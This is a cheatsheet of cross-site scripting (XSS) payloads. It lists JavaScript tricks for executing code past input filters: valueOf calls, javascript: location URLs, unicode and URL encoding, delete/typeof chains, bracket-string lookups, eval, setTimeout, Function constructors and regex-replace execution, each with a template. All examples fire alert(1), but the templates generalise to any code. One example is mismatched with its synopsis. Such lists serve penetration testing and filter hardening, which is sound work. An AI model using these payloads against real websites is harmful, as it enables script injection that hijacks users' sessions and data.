XSS Payloads Cheatsheets

Execution Hacks

Direct execution

ValueOf()

Example	Synopsis
alert.valueOf()(1)()	*<function>.valueOf(<args>)()*
alert.valueOf().call(self,1)	*<function>.valueOf().call(self,<args>)*
[alert.valueOf()][0].valueOf()(1)	*[<function>.valueOf()][0].valueOf()(<args>)*

Location

Example	Synopsis
location='javascript:alert(1)'	*location='javascript:<function>(<args>)'*
location.assign('javascript:alert(1)')	*location.assign('javascript:<function>(<args>)')*
location.replace('javascript:alert(1)')	*location.replace('javascript:<function>(<args>)')*

Encoding

Example	Synopsis
\u0061lert(1)	*<unicode_function_name>(<args>)*
location='javascript:%61lert(1)'	*location='javascript:<url_encoded_function_name>(<args>)'*

delete

Example	Synopsis
delete alert(1)	*delete <function>(<args>)*
throw~delete~typeof~alert(1)	*throw~delete~typeof~<function>(<args>)*
delete[a=alert]/delete a(1)	*delete[<var>=<function>]/delete <function>(<args>)*

String execution – *any string to be encoded*

DOM objects

Example	Synopsis
window["alert"](1)	*window["<function>"](<args>)*
this["alert"](1)	*this["<function>"](<args>)*
self["alert"](1)	*self["<function>"](<args>)*
self["alert"](1)	*top["<function>"](<args>)*

eval

Example	Synopsis
eval("alert")(1)	*eval("<function>")(<args>)*
setTimeout("alert")(1)	*setTimeout("<function>")(<args>)*
var fn=window["eval"]; fn("alert(1)");	*var fn=window["eval"]; fn("<function>(<args>)");*

Function()

Example	Synopsis
Function("alert(1)")()	*Function("<function>(<args>)")()*
self[(typeof prompt).replace(/^./,'F')]("alert(1)")()	*self[(typeof prompt).replace(/^./,'F')] ("<function>(<args>)")()*
[].constructor.constructor("alert(1)")();	*[].constructor.constructor("<function>(<args>)")();*
[]["sort"]["constructor"]('alert(1)')();	[]["sort"]["constructor"](*"<function>(<args>)"*)();

Regular Expressions

Example	Output
'<string>'.replace(/<pattern>/,function($1) { <code> })	
'alert("xss")'.replace(/.*/g,eval)	*eval('alert("xss")')*
'str1ng'.replace(/1/,alert)	*alert(1)*
'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)	*eval('alert(1)')*
'<string>'.replace(/<pattern>/,function(match,$1,$2) { <code> })	
'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/,function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })	*alert(1)*